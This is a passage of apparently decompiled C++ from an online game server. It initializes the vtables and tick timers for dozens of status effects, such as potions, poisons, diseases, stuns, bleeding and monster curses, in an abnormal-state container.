*)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_HIGHCONSPPOTION.astr_Tick); v1->asl_HIGHCONSPPOTION.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_NORCONSPPOTION.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_NORCONSPPOTION.astr_Tick); v1->asl_NORCONSPPOTION.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_LOWCONSPPOTION.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_LOWCONSPPOTION.astr_Tick); v1->asl_LOWCONSPPOTION.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_BESTLOWCONSPPOTION.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_BESTLOWCONSPPOTION.astr_Tick); v1->asl_BESTLOWCONSPPOTION.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_BESTHIGHCONHPPOTION.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_BESTHIGHCONHPPOTION.astr_Tick); v1->asl_BESTHIGHCONHPPOTION.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_HIGHCONHPPOTION.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_HIGHCONHPPOTION.astr_Tick); v1->asl_HIGHCONHPPOTION.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_NORCONHPPOTION.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_NORCONHPPOTION.astr_Tick); v1->asl_NORCONHPPOTION.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_LOWCONHPPOTION.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_LOWCONHPPOTION.astr_Tick); v1->asl_LOWCONHPPOTION.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_BESTLOWCONHPPOTION.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_BESTLOWCONHPPOTION.astr_Tick); v1->asl_BESTLOWCONHPPOTION.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_MRMODE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_ACMODE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_MOBMRPLUS.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_MOBACPLUS.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_HELGAACMINUS.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_MOBINVISIBLE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_MOBIMMORTAL.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_MOB6DISEASE3.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_MOB6DISEASE3.astr_Tick); v1->asl_MOB6DISEASE3.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_MOB5DISEASE3.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_MOB5DISEASE3.astr_Tick); v1->asl_MOB5DISEASE3.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_MOB4DISEASE3.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_MOB4DISEASE3.astr_Tick); v1->asl_MOB4DISEASE3.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_MOB3DISEASE3.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_MOB3DISEASE3.astr_Tick); v1->asl_MOB3DISEASE3.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_MOB2DISEASE3.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_MOB2DISEASE3.astr_Tick); v1->asl_MOB2DISEASE3.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_MOB1DISEASE3.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_MOB1DISEASE3.astr_Tick); v1->asl_MOB1DISEASE3.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_MOB6DISEASE2.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_MOB6DISEASE2.astr_Tick); v1->asl_MOB6DISEASE2.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_MOB5DISEASE2.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_MOB5DISEASE2.astr_Tick); v1->asl_MOB5DISEASE2.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_MOB4DISEASE2.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_MOB4DISEASE2.astr_Tick); v1->asl_MOB4DISEASE2.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_MOB3DISEASE2.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_MOB3DISEASE2.astr_Tick); v1->asl_MOB3DISEASE2.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_MOB2DISEASE2.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_MOB2DISEASE2.astr_Tick); v1->asl_MOB2DISEASE2.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_MOB1DISEASE2.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_MOB1DISEASE2.astr_Tick); v1->asl_MOB1DISEASE2.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_MOB6DISEASE1.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_MOB6DISEASE1.astr_Tick); v1->asl_MOB6DISEASE1.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_MOB5DISEASE1.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_MOB5DISEASE1.astr_Tick); v1->asl_MOB5DISEASE1.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_MOB4DISEASE1.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_MOB4DISEASE1.astr_Tick); v1->asl_MOB4DISEASE1.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_MOB3DISEASE1.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_MOB3DISEASE1.astr_Tick); v1->asl_MOB3DISEASE1.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_MOB2DISEASE1.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_MOB2DISEASE1.astr_Tick); v1->asl_MOB2DISEASE1.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_MOB1DISEASE1.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_MOB1DISEASE1.astr_Tick); v1->asl_MOB1DISEASE1.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_DIATRUMPYPOISON.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_DIATRUMPYPOISON.astr_Tick); v1->asl_DIATRUMPYPOISON.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_MOB6POISON.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_MOB6POISON.astr_Tick); v1->asl_MOB6POISON.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_MOB5POISON.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_MOB5POISON.astr_Tick); v1->asl_MOB5POISON.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_MOB4POISON.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_MOB4POISON.astr_Tick); v1->asl_MOB4POISON.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_MOB3POISON.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_MOB3POISON.astr_Tick); v1->asl_MOB3POISON.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_MOB2POISON.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_MOB2POISON.astr_Tick); v1->asl_MOB2POISON.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_MOB1POISON.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_MOB1POISON.astr_Tick); v1->asl_MOB1POISON.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_GIANTELVENTREEENTANGLE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_LEGENDARYTREEENTANGLE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_KQMARLONEENTANGLE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_MOB5ENTANGLE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_MOB4ENTANGLE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_MOB3ENTANGLE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_MOB2ENTANGLE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_MOB1ENTANGLE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_ANCIENTSTONIESTUN.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_DIAMASTERSTUN.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_KQGOBLEKINGSTUN.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_KQMARASTUN.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_MOB5STUN.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_MOB4STUN.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_MOB3STUN.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_MOB2STUN.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_MOB1STUN.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_MOB5SLOW.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_MOB4SLOW.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_MOB3SLOW.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_MOB2SLOW.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_MOB1SLOW.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_SKELKNIGHTDISEASE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_SKELKNIGHTDISEASE.astr_Tick); v1->asl_SKELKNIGHTDISEASE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_KQ_K_SOLIDERBLOODING.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_KQ_K_SOLIDERBLOODING.astr_Tick); v1->asl_KQ_K_SOLIDERBLOODING.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_SGTRUMPYBLOODING.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_SGTRUMPYBLOODING.astr_Tick); v1->asl_SGTRUMPYBLOODING.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_SHYLPHBLOODING.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_SHYLPHBLOODING.astr_Tick); v1->asl_SHYLPHBLOODING.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_JEWELKEEPERBLOODING.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_JEWELKEEPERBLOODING.astr_Tick); v1->asl_JEWELKEEPERBLOODING.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_SENIORTORTURERBLOODING.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_SENIORTORTURERBLOODING.astr_Tick); v1->asl_SENIORTORTURERBLOODING.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_BABYWEREBEARBLOODING.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_BABYWEREBEARBLOODING.astr_Tick); v1->asl_BABYWEREBEARBLOODING.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_FOBLOODING.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_FOBLOODING.astr_Tick); v1->asl_FOBLOODING.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_SHARPBOARBLOODING.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_SHARPBOARBLOODING.astr_Tick); v1->asl_SHARPBOARBLOODING.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_TORTURERBLOODING.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_TORTURERBLOODING.astr_Tick); v1->asl_TORTURERBLOODING.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_KQ_K_PHINOFLIECURSE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_KQ_K_BOSSPHINOCURSE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_BCTRUMPYCURSE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_KINGMUSHROOMCURSE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_OLDARCHONCURSE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_MARASAILORCURSE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_OGRECURSE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_STONIECURSE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_DISHARKANCURSE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_HARKANCURSE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_GOBLINMAGECURSE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_OLDFOXCURSE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_MARLONESOLDIERCURSE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_SMARTPHINOCURSE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_KARATEMPLERCURSE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_ARCHMAGEBOOKCURSE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_SKELWARRIORCURSE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_MARACURSE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_NAVARCURSE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_KINGCRABCURSE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_KEBINGCURSE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_JOKERTRUMPYTHCURSE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_ELFKNIGHTSOULDEXCURSE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; 